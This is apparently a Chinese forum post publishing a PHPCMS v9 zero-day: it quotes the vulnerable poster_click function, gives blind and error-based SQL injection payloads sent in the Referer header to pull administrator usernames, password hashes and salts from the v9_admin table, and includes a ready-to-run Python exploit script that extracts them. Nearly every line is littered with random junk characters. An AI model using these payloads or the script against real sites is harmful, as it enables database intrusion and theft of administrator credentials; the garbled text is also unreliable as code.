有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:6 h0 [2 K5 c6 V a, @; j( e1 X
- Z" O4 `, e! D/ ?问题函数\phpcms\modules\poster\index.php7 x; ~0 y/ k; }4 _1 K
L1 G" h# H$ t9 [2 b8 a
public function poster_click() {1 i5 k" S/ [ |3 J2 |' h) @
$id = isset($_GET['id']) ? intval($_GET['id']) : 0; k7 V3 S3 s! u+ j/ p
$r = $this->db->get_one(array('id'=>$id));1 Q% `+ x% y$ U! @6 j! b4 R
if (!is_array($r) && empty($r)) return false;
2 Q6 ^1 _& ]6 g7 I1 J5 K$ip_area = pc_base::load_sys_class('ip_area');
7 C% C& r/ A0 l1 U' i$ip = ip();; t( L% H: W, |
$area = $ip_area->get($ip);6 l* P( H+ c; r- m' ?
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
2 A. |. O2 j, t9 z! R4 `: E% Hif($id) {
, E5 [3 e5 _6 s8 ^$ ^$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();9 m7 d w) L% |2 q3 Y) u: {/ C% T) v1 y0 y
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));) o6 r4 }9 g* y+ ` j
}
) ~7 W" W0 b1 R3 w' d/ @: D$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));1 j/ f" I |" F: Q
$setting = string2array($r['setting']);6 j% s. m$ T4 Q U, C3 R; s. f
if (count($setting)==1) {
5 H5 Z+ M2 s& I8 w# K. F$url = $setting['1']['linkurl'];- h8 ]2 _# n/ F# t' A; L- w
} else {
* L+ u3 P- }, i% k) ^$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];5 s9 C. a7 a8 i: {4 n K% Y; F
}
& O; y/ u% f% y, D7 f' ?4 G! Lheader('Location: '.$url);
* |' u2 \# V, c0 q8 J: ^}1 m5 f7 o. N/ S8 y- L& K
- T% G6 e" e! R# }5 R. h
6 T: j3 m* t( v- Y& r) j! G* Q
# `" z% E3 E( `% O. R利用方式:
+ Q' {; r7 ^/ s& R! r y6 r( ]4 \2 B( l: x
1、可以采用盲注入的手法:- D0 s8 ?5 N; a* ]/ P
, q# \. U3 ?) c& \ s
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#1 T d/ d/ _. [6 @
! G: V6 z; D) i* R通过返回页面,正常与否一个个猜解密码字段。* V5 j c7 C/ q5 C/ b% U, r
$ Z4 s: h% ? `5 b3 q, F' L
2、代码是花开写的,随手附上了:2 U' c' v: r0 L1 G
0 ^' x6 F9 B1 W6 V: }3 y1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
; f3 \$ L4 t; O9 A5 [1 ?8 r- U6 u- \3 {- @
此方法是爆错注入手法,原理自查。5 {1 R4 d, E0 @$ [1 i$ g
# H" D* z: g* L. t' h8 E: Y9 b
5 ?' H' B1 b, k8 R; ~9 l
$ s# o" z7 K# x4 R0 X' S g利用程序:
g* [+ R7 [: w3 c$ ], p+ B
+ A. w" ~/ Y! d#!/usr/bin/env python
$ |5 f/ n; q( _' J K. E7 W- [: Rimport httplib,sys,re
8 X% V& B1 }% f, c; A
& F9 O$ R) }8 E4 n. W8 h4 ]# F7 Zdef attack():8 n2 [; l9 A$ i% d: f% z3 Q' I
print “Code by Pax.Mac Team conqu3r!”
4 I; O$ e& l i0 n( sprint “Welcome to our zone!!!”# i1 z) B& S. T9 y* Z! @+ S* ^
url=sys.argv[1]* Q- @0 l8 C/ J5 N% [2 c
paths=sys.argv[2]
0 Y& R& \' [3 W7 ]+ ^) oconn = httplib.HTTPConnection(url)
' _% d: w1 v) F( G, u; E- t' Si_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,+ n* W7 w5 y9 ^* g; z' l
“Accept”: “text/plain”," G. y1 P" W3 A; |: q# W) ~; h
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
# f' C5 U1 R2 _% aconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
; x4 H$ j7 |! U; H6 ur1 = conn.getresponse()& L+ G( r! u) r! ^7 _$ b; z5 ?& [
datas=r1.read()
: K/ k7 p, w# }# ~' x& _ Q, p, Jdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
% B, |8 m* Y$ [* [5 @" tprint datas[0]
1 }6 s1 c/ h2 T3 u* D1 V. r' Mconn.close()
. h( S* a7 t& I' Xif __name__==”__main__”:5 e) |; B# F" V6 `( s D) G
if len(sys.argv)<3:4 C0 r( `$ f% z7 D$ W
print “Code by Pax.Mac Team conqu3r”
+ C% I$ s1 v1 f+ V' U3 uprint “Usgae:”0 {( q4 R- E0 A1 Q) ]
print “ phpcmsattack.py www.paxmac.org /”. g+ J: c: ~1 Y
print “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
) m# j7 i# E y. O4 W: |! X* q/ Ksys.exit(1)
' ^ [$ ]8 \3 p' \attack()& n7 N* T" l( v7 H; l0 ~8 Z
; ^6 ~" a" a- |; }4 A8 S6 E |